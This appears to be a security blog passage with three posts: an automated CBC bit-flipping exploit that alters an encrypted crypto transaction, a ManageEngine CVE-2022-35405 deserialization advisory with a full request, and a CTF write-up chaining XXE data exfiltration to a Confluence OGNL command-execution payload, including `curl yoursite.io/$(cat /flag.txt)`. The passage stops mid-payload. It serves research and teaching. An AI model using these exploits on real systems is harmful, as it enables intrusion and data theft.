O pensamento que o atacante deverá ter nessa hora é um pensamento ligado a recursividade, agora temos um ciphertext modificado, que produz um plaintext com um endereço de e-mail malicioso (EVE), porém esse plaintext possui bytes errados no meio dele. Pois então, com isso temos a mesma situação do ínicio, Um plaintext que conhecemos que precisa ser alterado (alterar os bytes que sairam errado para os bytes certos que conhecemos do plaintext)…

No primeiro exemplo, o ataque foi realizado em cada byte, “linha por linha” no python, mas o ideal seria uma função genérica que fizesse o ataque. Portanto, aqui se inicia a fase do desenvolvimento do algoritimo para realizar ataques de bit-flipping em CBC automaticamente.

É claro que isso dependeria do atacante ter acesso ao resultado inteiro do plaintext final, sem isso, é impossível seguir os próximos passos. Ou seja, de alguma forma o atacante tem que ser capaz de enviar um ciphertext e obter o resultado do decrypt desse ciphertext.

Exploit

Para iniciar a automação do ataque, primeiro é necessário encontrar uma forma de encontrar as diferenças entre um conjunto de bytes e outro, no nosso caso, entre o plaintext original e o modificado, encontrando essas diferenças, as posições de cada byte a ser modificado devem ser guardadas.

Basicamente o que faremos é um diff, e o que usaremos será uma das propriedades do XOR:

\[\large A \oplus A = 0 \\ \large A \oplus B \ne 0\]

Algo XOREADO com ele mesmo é sempre Null, se for algo diferente dele mesmo, sempre resulta em algo diferente, tente executar o script a seguir:

from termcolor import colored
from pwn import xor

def bit_flipping(original_plaintext: bytes, modified_plaintext: bytes):
    diff_positions = []
    for position, byte_ in enumerate(original_plaintext):
        x = xor(original_plaintext[position], modified_plaintext[position]) # xor each byte
        if x != b'\x00': # if the result is not null, then it is different
            diff_positions.append(position)
    # just to visualize what is happening in colors, ignore
    og = ''
    for i, b in enumerate(original_plaintext):
        if i in diff_positions:
            og += colored(chr(b), 'red')
        else:
            og += chr(b)
    mod = ''
    for i, byte_ in enumerate(modified_plaintext):
        if i in diff_positions:
            mod += colored(chr(byte_), 'green')
        else:
            mod += chr(byte_)
            
    print('[+] Original plaintext: ', og)
    print('[+] Modified plaintext: ', mod)
    print('[+] Positions to be modified: ', diff_positions)

Output:

Agora temos uma forma de saber o que deve ser alterado e o que deve ser mantido. Seguindo a lógica desenvolvida, vamos adicionar no código um algoritimo para alterar cada um desses bytes de plaintext nessas posições alterando o ciphertext nessas posições - 16.

OBS: Talvez você tenha pensado: “Mas e as posições a serem alteradas que forem menores que 16?”. Para essas posições teríamos que alterar o IV, vamos trabalhar com isso mais tarde, portando, por enquanto vamos pegar apenas as posições que forem >= que 16.

def bit_flipping(original_plaintext: bytes, modified_plaintext: bytes, ciphertext: bytes):
    diff_positions = []
    for position, byte_ in enumerate(original_plaintext):
        x = xor(original_plaintext[position], modified_plaintext[position]) # xor each byte
        if x != b'\x00': # if the result is not null, then it is different
            diff_positions.append(position)
    
    ciphertext = list(ciphertext)
    diff_positions.reverse()
    diff_positions = [position for position in diff_positions if position >= 16]
    
    for position in diff_positions:
        ciphertext[position - 16] = original_plaintext[position] ^ ciphertext[position - 16] ^ modified_plaintext[position] 
    
    ciphertext = bytes(ciphertext)
    return ciphertext
    
original_plaintext = b'DOGECOIN transaction: 100 DOGE to [email protected]'
mod_plaintext =      b'DOGECOIN transaction: 100 DOGE to [email protected]'

ciphertext = encrypt(key, iv, original_plaintext)
new_ciphertext = bit_flipping(original_plaintext, mod_plaintext, ciphertext)

print(decrypt(key, iv, new_ciphertext))

A função pega posições e altera o ciphertext do bloco anterior usando a fórmula $C_{i-1}’= P_i \oplus C_{i-1} \oplus P_i’$ (linha 13), e ao final retorna o ciphertext.

Executando temos como output:

b'DOGECOIN transac\xc9L\xba\xf3l\xdatY\xb4\x94\xcd{\xef%+po [email protected]'

Exatamente o que tinhamos antes, agora para brincar mais um pouco, experimente alterar mais coisas do último bloco do plaintext, usando um mod_plaintext = b'DOGECOIN transaction: 100 DOGE to [email protected]' (alterando do dominio do e-mail) temos: b'DOGECOIN transac]p\xc7P\xb6?)\xb6\xbb\x8av\x8c\xb68\x01\xe9o [email protected]'. Pode ver que foi alterado.

Agora temos uma parte do exploit, uma função capaz de identificar os bytes a serem alterados e realizar o ataque de forma automática, mas ainda temos alguns problemas, o plaintext final ainda fica errado, agora sim vamos aplicar a recursividade que foi falada nos tópicos anteriores.

def bit_flipping(original_plaintext: bytes, modified_plaintext: bytes, ciphertext: bytes):
    diff_positions = []
    for position, byte_ in enumerate(original_plaintext):
        x = xor(original_plaintext[position], modified_plaintext[position]) # xor each byte
        if x != b'\x00': # if the result is not null, then it is different
            diff_positions.append(position)
    
    ciphertext = list(ciphertext)
    diff_positions.reverse()
    diff_positions = [position for position in diff_positions if position >= 16]
    
    for position in diff_positions:
        ciphertext[position - 16] = original_plaintext[position] ^ ciphertext[position - 16] ^ modified_plaintext[position] 
    
    ciphertext = bytes(ciphertext) # this ciphertext is wrong

    # recursively call the function until the modified plaintext is equal to the plaintext

    mod_final_plaintext = decrypt(key, IV, ciphertext) # the attacker needs to be able to decrypt the ciphertext
    new_ciphertext = ciphertext ## need to change the ciphertext again
    
    while mod_final_plaintext[16:] != modified_plaintext[16:]:
        new_ciphertext = bit_flipping(mod_final_plaintext, modified_plaintext, new_ciphertext)
        mod_final_plaintext = decrypt(key, IV, new_ciphertext)

    return new_ciphertext

Para usar a recursividade ao nosso favor, o que o algoritimo faz é encarar o ciphertext modificado que gera o plaintext estranho, como um novo ciphertext a ser modificado, então rodamos recursivamente a função (linha 22) usando como alvo o new_ciphertext (esse ciphertext que gera o plaintext errado). Note que ainda no while é pego apenas do 16 byte para frente, isso pois ainda não começamos a mexer no IV.

Após executar temos: b'\xc6\xd1\xad=\xabF\xd6\xcbE\r\x0b\xfe\xa8\x0b<Ftion: 100 DOGE to [email protected]'

Deu certo! Agora o segundo bloco que estava vindo errado ja aparece, para brincar um pouco podemos modificar por exemplo o valor da transação para 999. Rodando temos:

b'\x08\xd4\xf1\x92\x90\x16\xd4\x07\x8c\xaa\xc4\xc9\x9c\xad\xd28tion: 999 DOGE to [email protected]'

Note que ainda temos um plaintext final que tem bytes errados, os pertencentes ao primeiro bloco, como arrumar? Para isso teremos que entrar em uma variação do ataque de bitflipping, a que o atacante consegue modificar o IV utilizado na função de decrypt. Alterando o IV, poderemos arrumar o primeiro bloco, e assim teremos um plaintext 100% limpo.

E como alterar o IV? Usando a equação geral chegamos em:

\[\large C_{1-1}' = C_0' = IV' = P_1 \oplus IV \oplus P_1' \\ \large C_0 = IV\]

A fim de aplicar isso no nosso algoritimo temos que modificar nossa função adicionando dois novos argumentos, o changeiv e o iv.

def bit_flipping(original_plaintext: bytes, modified_plaintext: bytes, ciphertext: bytes, changeiv=False, iv=None):
    diff_positions = []
    for position, byte_ in enumerate(original_plaintext):
        x = xor(original_plaintext[position], modified_plaintext[position]) # xor each byte
        if x != b'\x00': # if the result is not null, then it is different
            diff_positions.append(position)
    
    ciphertext = list(ciphertext)
    diff_positions.reverse()
    diff_positions = [position for position in diff_positions if position >= 16]
    
    for position in diff_positions:
        ciphertext[position - 16] = original_plaintext[position] ^ ciphertext[position - 16] ^ modified_plaintext[position] 
    
    ciphertext = bytes(ciphertext) # this ciphertext is wrong

    # recursively call the function until the modified plaintext is equal to the plaintext

    mod_final_plaintext = decrypt(key, IV, ciphertext) # the attacker needs to be able to decrypt the ciphertext
    new_ciphertext = ciphertext ## need to change the ciphertext again
    
    while mod_final_plaintext[16:] != modified_plaintext[16:]:
        new_ciphertext = bit_flipping(mod_final_plaintext, modified_plaintext, new_ciphertext)
        mod_final_plaintext = decrypt(key, IV, new_ciphertext)

    if changeiv == True:
        # the firts 16 bytes of our modified plaintext are wrong, so we need to change the iv, lets get exactly the first 16 bytes wrongs positions of the plaintext
        # like diff again      
        wrong_positions = []
        for position, byte_ in enumerate(mod_final_plaintext[:16]):
            x = xor(mod_final_plaintext[position], modified_plaintext[position])
            if x != b'\x00':
                wrong_positions.append(position)

        # iv to change   
        new_iv = list(iv)
        for wrong_position in wrong_positions:
            new_iv[wrong_position] = mod_final_plaintext[wrong_position] ^ iv[wrong_position] ^ modified_plaintext[wrong_position]
        new_iv = bytes(new_iv)

        # return a tuple contaning the new ciphertext and the new iv
        return new_ciphertext, new_iv

    return new_ciphertext
    
original_plaintext = b'DOGECOIN transaction: 100 DOGE to [email protected]'
mod_plaintext =      b'DOGECOIN transaction: 999 DOGE to [email protected]'

ciphertext = encrypt(key, iv, original_plaintext)
new_ciphertext, new_iv = bit_flipping(original_plaintext, mod_plaintext, ciphertext, changeiv=True, iv=iv)

print(decrypt(key, new_iv, new_ciphertext))

Ao checar se é necessário mudar o iv (linha 26), primeiro é executado a parte do diff, para conseguir as posições exatas do que deve ser mudado, a aplicação da equação ocorre na linha 38, onde o new_iv é modificado utilizando a equação. Note que não é utilizado algo como position - 16, isso por que o IV é outra coisa, a parte do ciphertext, o que fazemos é apenas refletir a posição para ele, ja que ambos o primeiro bloco do ciphertext e o IV possuem 16 byres de tamanho. Após a execução temos como resultado: b'DOGECOIN transaction: 999 DOGE to [email protected]'

Agora sim, um plaintext final perfeito! Como de costume, para brincar, experimente mudar o mod_plaintext para apenas espaços vazios…

original_plaintext = b'DOGECOIN transaction: 100 DOGE to [email protected]'
mod_plaintext =      b'                                                '

ciphertext = encrypt(key, iv, original_plaintext)
new_ciphertext, new_iv = bit_flipping(original_plaintext, mod_plaintext, ciphertext, changeiv=True, iv=iv)

print(decrypt(key, new_iv, new_ciphertext))

Executando…

image

Da certo também, isso prova que agora é possível fazer qualquer tipo de alteração.

Conclusion

Após algumas pesquisas, não encontrei muitos ataques ou vulnerabilidades que envolvam especificamente bit-flipping em CBC, acredito que até então se trate de uma vulnerabilidade teórica, que normalmente é encontrada em desafios de CTF de criptografia. Encontrei dificuldade em pesquisar sobre o tema pela complexidade dele, e pelo fato de muitos artigos estarem focados em desafios de CTF especificos, então decidi escrever esse artigo para abordar o tema de forma geral, sem desafios de CTF envolvidos, trazer a teoria e as operações matemáticas buscando abordar um exemplo e carrega-lô até o final com o objetivo de construir um algoritimo/exploit genérico para qualquer situação (dentro das variações do ataque).

É importante ressaltar que esse artigo foi construido a partir de uma pesquisa e estudo pessoal, portanto, pode conter erros, caso encontre algum, por favor, me avise para que eu possa corrigir. Caso isso aconteça, mande um e-mail para: [email protected] ou abra uma issue no repositório desse blog.

Obrigado por ler!

CVE-2022-35405 Manage engines RCE (Password Manager Pro, PAM360 and Access Manager Plus)

6 September 2022 at 03:00

“This remote code execution vulnerability could allow remote attackers to execute arbitrary code on affected installations of Password Manager Pro, PAM360 and Access Manager Plus. Authentication is not required to exploit this vulnerability in Password Manager Pro and PAM360 products.”

Product Name Affected Version(s)  
PAM360 5.5 (5500) and below  
Password Manager Pro 12.1 (12100) and below  
Access Manager Plus 4.3 (4302) and below (authenticated)

This vulnerability happens due to a vulnerable version of ApacheOfBiz (CVE-2020-9496) that exposes an XML-RPC endpoint at /webtools/control/xmlrpc in case of Manage Engine products this endpoint is /xmlrpc. This endpoint can deserealizes java objects, as part of this processing, any serialized arguments for the remote invocation are deserialized, therefore if the classpath contains any classes that can be used as gadgets to achieve remote code execution, an attacker will be able to run arbitrary system commands.

First this vulnerability was found in Password Manager Pro, however after the report and disclosure of the Security Fixes it was identified that the vulnerability also existed in PAM360 and Access Manager Plus installations.

On the PMP context, the RCE has nt authority/system permissions on the affected server and can be used to enter internal networks, compromise data on the server or crash or shutdown the whole server and applications.

More information about CVE-2020-9496 exploitation can be found here or here

Exploitation

For generate java serialized object payload, Ysoserial can be used: It is needed that the ysoserial tool library versions match the server org.apache.commons.beanutils version, if the versions don’t match: Failed to read result object: org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962 (something like that) follow the instructions of this article to bypass that finding the exact server lib version by serialVersionUID and changing the pom.xml of ysoserial.

java -jar ysoserial-version.jar CommonsBeanutils1 'command' | base64 | tr -d "\n"

Untitled

Replace the [base64-payload] and send the request:

POST /xmlrpc HTTP/1.1
Host: host-ip
Content-Type: application/xml
Content-Length: 4093

<?xml version="1.0"?>
<methodCall>
  <methodName>ProjectDiscovery</methodName>
  <params>
    <param>
      <value>
        <struct>
          <member>
            <name>test</name>
            <value>
              <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable>
            </value>
          </member>
        </struct>
      </value>
    </param>
  </params>
</methodCall>

Untitled

Untitled

If the response was InvocationTargetException: java.lang.reflect.InvocationTargetException it worked, this exception was trigged after the execution of the payload.

I wrote an exploit to make it easier to explore and you can find it here: https://github.com/viniciuspereiras/CVE-2022-33405/

Extra

I’d like to thank the security community, although I can’t disclose vulnerability information, there were some researchers who managed to go after it and come up with a working poc, exploits and metasploit modules. If you want to take a look:

Nuclei template:

Coordinated Disclosure Timeline

  • 06/21/2022: Report sent to vendor.
  • 06/21/2022: Manage Engine acknowledges the issue.
  • 06/24/2022: Issue fixed Release note
  • 07/11/2022: CVE-2022-35405

CTF LatinoWare 2021 - Planilhas Baby

7 October 2021 at 03:00

Este challenge fez parte do CTF da Latinoware 2021 e o criador dele é o @manoelt.

Start

Untitled

Untitled

O desafio começa com essa página com um formulário de upload que aparentemente verifica arquivos “.xlsx” (excel).

Portanto vamos subir uma planilha qualquer para o site e ver o que acontece.

Untitled

Untitled

Depois de fazer o upload ele mostra o nome do arquivo e suas colunas. Após tentar algumas payloads de SSTI no nome e dentro das colunas e não obter suceso começei a pensar sobre do que é formado um arquivo xlsx, e fazendo umas pesquisas é possível notar que um arquivo xlsx é nada mais do que um compilado de arquivos xml.

Dando apenas um unzip em um arquivo xlsx vários arquivos são descompactados.

Untitled

Untitled

Quando vi esses arquivos fiquei pensando se não seria possível utilizar algumas payloads de XXE (XML External Entity).

Rapidamente encontrei alguns artigos falando sobre uma vulnerabilidade de XXE que um “interpretador” de xlsx em java possui.

https://www.4armed.com/blog/exploiting-xxe-with-excel/

Então comecei a testar algumas payloads.

<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://jg315q2pvolex6xv5nvtaocgn7tyhn.burpcollaborator.net/"> ]>
<x>&xxe;</x>

Untitled

Untitled

E então depois de realizar o upload:

Untitled

Recebi o request da aplicação, mostrando que o XXE existe!! 😄

Nessa hora eu fiquei preso por muitas e muitas horas tentando diversas formas de exploração, isso que temos é um blind XXE isto é, não vemos a resposta do request, o que nos leva a testar uma técnica conhecida como blind XXE OOB, que consiste em hospedar um arquivo DTD (parecido com xml) contendo uma payload para que a aplicação carregue este arquivo. Mas NADA FUNCIONAVA.

Outro problema foi que eu e meus amigos estávamos tentando ler arquivos de dentro do servidor, porém nessa versão do Java, arquivos que contenham, um breakline (‘\n’) não conseguem ser passados como um argumento em uma requisição HTTP usando o nosso XXE, nenhum bypass para isso deu certo. Tentamos ler a flag, /etc/passwd, /etc/hosts, nenhum ia.

Então decidimos parar começar do 0, olhando as coisas de outra maneira.

Untitled

Então notamos que no HTML da página inicial continha um comentário deveras interessante.

Testando o host do desafio na porta 8090 não havia nada, portanto esse “link” é interno e provavelmente está na rede interna, em nossa payload de XXE podemos fazer requisições web, então a ideia é fazer requisições para o documentacao:8090 pelo nosso XXE.

A partir dai ja tinham se passado todos os minutos do campeonato e infelizmente não conseguimos terminar.

Porém, podemos continuar o write-up hehe.

Pesquisando sobre o que poderia ser essa aplicação rodando na porta 8090 caimos em algumas sugestões:

Untitled

Então procurando por vulnerabilidades nesses serviços chegamos em uma CVE bem recente,

CVE-2021-26084 que é um SSTI no confluence. Analisando os exploits dessa vulnerabilidade basicamente um usuário não autenticado poderia fazer requisições para o site, passando alguns parâmetros para conseguir RCE. Bom parece que é o que precisamos né?

Vamos verificar primeiro se é realmente um confluence que está rodando no site.

Exploitation

Para explorar esses requests eu primeiro comecei a usar a payload de blind XXE OOB que havia comentado.

No meu excel malicioso vai a payload xml dizendo para carregar o meu dtd malicioso:

Untitled

<!DOCTYPE ab [<!ELEMENT ab ANY ><!ENTITY % sp SYSTEM "http://seusite.io/bigous.dtd">%sp;%param1;]>
<ab>&exfil;</ab>

E no meu dtd, bigous.dtd:

<!ENTITY % data SYSTEM "http://documentacao:8090/johnson/static/css/main.css.map">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://seusite.io/?data=%data;'>">%

Essa payload significa que basicamente a aplicação vai pegar o que o http://documentacao:8090/johnson/static/css/main.css.map e enviar como um argumento para o meu link do burpcolaborator client. (‘johnson/static/css/main.css.map’ é um arquivo do confluence de uma linha para cerificar se o confluence existe está rodando 🙂).

PS: As tentativas de exploração que envolviam LFI foram usando este mesmo DTD mas trocando a url da entidade data por: “file:///etc/hostname”.

Então vamos compilar nosso XLSX, abrir um servidor para hospedar nosso DTD e fazer o upload :D

Para hospedar usei um simples server em flask:

from flask import Flask, request
app = Flask(__name__)

@app.route("/")
def index():
    content = request.args.get('data') #apenqs para eu recer o quefor enviado no xxe
    print(content) ## e printar na tela
    return ':)'

@app.route("/bigous.dtd")
def dtd():
    return open('bigous.dtd').read() #mostrar o dtd malicioso nessa rota
app.run(host='0.0.0.0')

Depois de fazer o upload o request é feito com sucesso para nosso dtd, que por sua vez faz a aplicação fazer outro request sucedido e mandar a resposta para nosso servidor novamente.

Untitled

Ok, agora eu tinha certeza que era confluence. Hora de procurar os exploits para testar.

Quando fiz o upload do arquivo interceptei o request com o burp e usei a extensão: Copy As Python-Requests, para copiar a requisição para um script em python (dãr), assim eu consigo automatizar um pouco as coisas, ja que nosso arquivo xlsx vai ser sempre o mesmo.

Untitled

Fazendo uma busca por exploits, não encontrei muitos que fossem bons o suficiente para a minha situação, porém um exploit de um amigo me ajudou:

[GitHub - carlosevieira/CVE-2021-26084: CVE-2021-26084 - Confluence Pre-Auth RCE OGNL injection](https://github.com/carlosevieira/CVE-2021-26084)

Esse exploit basicamente pega um comando que o usuário passa, encoda ele na payload e manda para o servidor tudo certinho sem problemas de quebra.

Portando peguei o código dele e fiz umas alterações ja que só precisamos da payload:

O meu código para gerar as payloads ficou mais ou menos assim:

import sys

def craft_payload(command):
	command = command.replace('"', '%5Cu0022').replace("'","%5Cu0027").replace(' ',"%20")
	payload = "%5cu0027%2b{Class.forName(%5cu0027javax.script.ScriptEngineManager%5cu0027).newInstance().getEngineByName(%5cu0027JavaScript%5cu0027).%5cu0065val(%5cu0027var+isWin+%3d+java.lang.System.getProperty(%5cu0022os.name%5cu0022).toLowerCase().contains(%5cu0022win%5cu0022)%3b+var+cmd+%3d+new+java.lang.String(%5cu0022"+command+"%5cu0022)%3bvar+p+%3d+new+java.lang.ProcessBuilder()%3b+if(isWin){p.command(%5cu0022cmd.exe%5cu0022,+%5cu0022/c%5cu0022,+cmd)%3b+}+else{p.command(%5cu0022bash%5cu0022,+%5cu0022-c%5cu0022,+cmd)%3b+}p.redirectErrorStream(true)%3b+var+process%3d+p.start()%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader(process.getInputStream())%3b+var+bufferedReader+%3d+new+java.io.BufferedReader(inputStreamReader)%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while((line+%3d+bufferedReader.readLine())+!%3d+null){output+%3d+output+%2b+line+%2b+java.lang.Character.toString(10)%3b+}%5cu0027)}%2b%5cu0027"
	return payload
	
cmd = sys.argv[1]
print(exploit(cmd))

Untitled

E parece funcionar.

Pelo o que li da vulnerabilidade existem várias “rotas” no confluence que aceitam parâmetros vulneráveis (escolhi o ‘queryString’) a SSTI, portando escolhi um aleatório para mandar a payload (‘pages/doenterpagevariables.action’).

Juntei o upload do xlsx com um script que coloca a payload no nosso arquivo DTD para fazer o exploit.

Segue o exploit:

(in same path of your dtd file)$ python3 exploit.py 'curl yoursite.io/$(cat /flag.txt)' 
import requests
import sys

def send_file():
	session = requests.session()

	burp0_url = "http://34.85.140.67:80/uploadFile"
	burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://34.85.140.67", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryX8EzGd8nAoSVFtBe", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://34.85.140.67/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}
	burp0_data = "------WebKitFormBoundaryX8EzGd8nAoSVFtBe\r\nContent-Disposition: form-data; name=\"file\"; filename=\"exploit.xlsx\"\r\nContent-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet\r\n\r\nPK\x03\x04\x14\x00\x00\x00\x08\x00\x00\x00!\x00b\xee\x9dhO\x01\x00\x00\x90\x04\x00\x00\x13\x00\x1c\x00[Content_Types].xmlUT\t\x00\x030\xd0\xce\x12\x1e\xbeiaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\xad\x94Mn\xc20\x10\x85\xf7\x95z\x87\xc8[\x94\x18\xba\xa8\xaa\x8a\xc0\xa2?\xcb\x16\xa9\xf4\x00n<!\x16\x8emy\x06\n\xb7\xef\xc4PTU\x94\xa8\x82M\xacx\xe6\xbd\xef\xd9\xd1d<\xdd\xb46[CD\xe3])F\xc5Pd\xe0*\xaf\x8d[\x94\xe2}\xfe\x9c\xdf\x89\x0cI9\xad\xacwP\x8a-\xa0\x98N\xae\xaf\xc6\xf3m\x00\xccX\xed\xb0\x14\rQ\xb8\x97\x12\xab\x06Z\x85\x85\x0f\xe0\xb8R\xfb\xd8*\xe2\xd7\xb8\x90AUK\xb5\x00y3\x1c\xde\xca\xca;\x02G9u\x1eb2~\x84Z\xad,eO\x1b\xde\xde%\x89`Qd\x0f\xbb\xc6\x8eU\n\x15\x825\x95\"\xae\xcb\xb5\xd3\xbf(\xf9\x9eP\xb02\xf5`c\x02\x0e\xb8A\xc8\xa3\x84\xae\xf27`\xaf{\xe5\xab\x89FC6S\x91^T\xcb]rc\xe5\xa7\x8f\xcb\x0f\xef\x97\xc5i\x93#)}]\x9b\n\xb4\xafV-K\n\x0c\x11\x94\xc6\x06\x80Z[\xa4\xb5h\x95q\x83~~jF\x99\x96\xd1\x85\x83\x1c\xfc{r\x10o\xd8=\xcf\x8f\x90lz\x80H[\x0bx\xe9kO\xa6}\xe4FE\xd0o\x14y2.\x1e\xe0\xa7\xf7\xa9\x1c\xac\x9fE\x1f\x90'(\xc2\xffC|\x8fH\xa7\xce\x03\x1bA$s\xfa\xe4\x07\"[\x9f}j\xe8\xa6O\x83>\xc2\x96\xe92\xf9\x02PK\x03\x04\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x1c\x00_rels/UT\t\x00\x03m\xb1ia[\xbeiaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x03\x04\x14\x00\x00\x00\x08\x00\x00\x00!\x00\xb5U0#\xeb\x00\x00\x00L\x02\x00\x00\x0b\x00\x1c\x00_rels/.relsUT\t\x00\x030\xd0\xce\x12n\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\xad\x92\xcdj\xc30\x0c\x80\xef\x83\xbd\x83\xd1\xbdQ\xda\xc1\x18\xa3N/c\xd0\xdb\x18\xd9\x03h\xb6\xf2C\x12\xcb\xd8n\x97\xbe\xfd\xbc\xc3\xd8\x02]\xe9aG\xcb\xd2\xa7OB\xdb\xdd<\x8d\xea\xc8!\xf6\xe24\xac\x8b\x12\x14;#\xb6w\xad\x86\xb7\xfay\xf5\x00*&r\x96Fq\xac\xe1\xc4\x11v\xd5\xed\xcd\xf6\x95GJ\xb9(v\xbd\x8f*S\\\xd4\xd0\xa5\xe4\x1f\x11\xa3\xe9x\xa2X\x88g\x97\x1a\t\x13\xa5\xfc\x0c-z2\x03\xb5\x8c\x9b\xb2\xbc\xc7\xf0\x9b\x01\xd5\x82\xa9\xf6VC\xd8\xdb;P\xf5\xc9\xf35li\x9a\xde\xf0\x93\x98\xc3\xc4.\x9di\x81<'v\x96\xed\xca\x87\\\x1fR\x9f\xa7Q5\x85\x96\x93\x06+\xe6%\x87#\x92\xf7EF\x03\x9e7\xda\\o\xf4\xf7\xb48q\"K\x89\xd0H\xe0\xcb>_\x19\x97\x84\xd6\xff\xb9\xa2e\xc6\x8f\xcd<\xe2\x87\x84\xe1]d\xf8v\xc1\xc5\rT\x9fPK\x03\x04\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x00\x1c\x00docProps/UT\t\x00\x03m\xb1ia[\xbeiaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x03\x04\x14\x00\x00\x00\x08\x00\x00\x00!\x003-\xc0tv\x01\x00\x00\x13\x03\x00\x00\x10\x00\x1c\x00docProps/app.xmlUT\t\x00\x030\xd0\xce\x12\x86\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\x9dR\xc1N\xeb0\x10\xbc#\xf1\x0f\x91\xef\xd4\t<!T9F\xa8\x808<\xf4*\xb5\xe5\xbe8\x9b\xc6\xc2\xb1-{\x89Z\xbe\xfe9\xa9\x1aR\xe0\xc4mvv4\x99\xccZ\xdc\xeeZ\x93u\x18\xa2v\xb6d\xc5,g\x19Z\xe5*m\xb7%\xdb\xac\x1f/nX\x16\tl\x05\xc6Y,\xd9\x1e#\xbb\x95\xe7gb\x19\x9c\xc7@\x1ac\x96,l,YC\xe4\xe7\x9cG\xd5`\x0bq\x96\xd66mj\x17Z\xa04\x86-wu\xad\x15\xde;\xf5\xde\xa2%~\x99\xe7\xd7\x1cw\x84\xb6\xc2\xea\xc2\x8f\x86\xec\xe08\xef\xe8\xb7\xa6\x95S}\xbe\xf8\xb2\xde\xfb\xe4'\xc5\x9d\xf7F+\xa0\xf4\x97\xf2Y\xab\xe0\xa2\xab){\xd8)4\x82O\x97\"\x19\xadP\xbd\x07M{\x99\x0b>\x1d\xc5J\x81\xc1E2\x965\x98\x88\x82\x12\xe2\t\xa1/m\t:D):\x9aw\xa8\xc8\x85,\xea\x8fT\xdb%\xcb^!b\x1f\xa7d\x1d\x04\r\x96\xd8Av\x18\x06l|\xa4 \x97\x06\xac6\rD\xc1Gn\x80S\xe9\x14\xeb?\xb2\x18\x04\t\x9c\n\xf9\x98#\xe1\xd3\x84kM\x06\xe3\xbfz\t\x81~\x08\\L\x03\x0f\x19\xd8\x0f\x11\x8bo\x11\x8f\x1f\xfbb\xbfp\xad\x07\x9b*\xe4#\xfa\xab\xed[\xdc\xf8\xb5\xbb\x07\xc2c\xa1\xa7\xa4X5\x10\xb0J7\x18\x0b\x1f\t\xf1\x94\xa2\x05\xd3\xeb\x17\r\xd8-VG\xcd\xf7E\xfe\x97\xc3\x1b\x97\xc5\xf5,\xbf\xca\xf3\xe1\xeaGN\xf0\xcf\xd7,\xff\x03PK\x03\x04\x14\x00\x00\x00\x08\x00\x00\x00!\x00/\x99t\xe87\x01\x00\x00q\x02\x00\x00\x11\x00\x1c\x00docProps/core.xmlUT\t\x00\x030\xd0\xce\x12\x86\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\x8d\x92]k\xc20\x14\x86\xef\x07\xfb\x0f%\xf7m\x9a\x8a\"\xa1\xad\xb0\r\xaf&\x0c\xe6\xd8\xd8]H\x8e\x1a\xd6|\x90D\xab\xff~i\xd5\xaa\xcc\x8b]\x86\xf7\xc9\x93\xf3\x1eR\xce\xf6\xaaIv\xe0\xbc4\xbaB$\xcbQ\x02\x9a\x1b!\xf5\xbaB\x1f\xcby:E\x89\x0fL\x0b\xd6\x18\r\x15:\x80G\xb3\xfa\xf1\xa1\xe4\x96r\xe3\xe0\xcd\x19\x0b.H\xf0I4iO\xb9\xad\xd0&\x04K1\xf6|\x03\x8a\xf9,\x12:\x86+\xe3\x14\x0b\xf1\xe8\xd6\xd82\xfe\xc3\xd6\x80\x8b<\x9f`\x05\x81\t\x16\x18\xee\x84\xa9\x1d\x8c\xe8\xa4\x14|P\xda\xadkz\x81\xe0\x18\x1aP\xa0\x83\xc7$#\xf8\xc2\x06p\xca\xdf\xbd\xd0'W\xa4\x92\xe1`\xe1.z\x0e\x07z\xef\xe5\x00\xb6m\x9b\xb5\xa3\x1e\x8d\xf3\x13\xfc\xb5x}\xef\xab\xa6Rw\xbb\xe2\x80\xeaRp\xca\x1d\xb0`\\\xbd\x93Zr\xb9\xf5Y\xec\x05\xd2\xb1\x12_\x85\xdd\"\x1b\xe6\xc3\"\xee|%A<\x1d\xee\xf0\x99\xf2T\xf4\xe8\x01\x91\xc4\x01\xe9\xb1\xce9\xf9\x1c=\xbf,\xe7\xa8.\xf2\x82\xa4$O\xc9xI&\xb4\x98\xd2q\xf1\xdd\x8dps\xff\"T\xa7G\xfem\x1c\xe7tD\xae\x8cgA\xdd\xcf}\xfbI\xea_PK\x03\x04\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x1c\x00xl/UT\t\x00\x03m\xb1ia[\xbeiaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x03\x04\x14\x00\x00\x00\x08\x00\x00\x00!\x00\x126\"\xcc\x95\x00\x00\x00\xb2\x00\x00\x00\x14\x00\x1c\x00xl/sharedStrings.xmlUT\t\x00\x030\xd0\xce\x12\x8e\xb1iaux\x0b\x00\x01\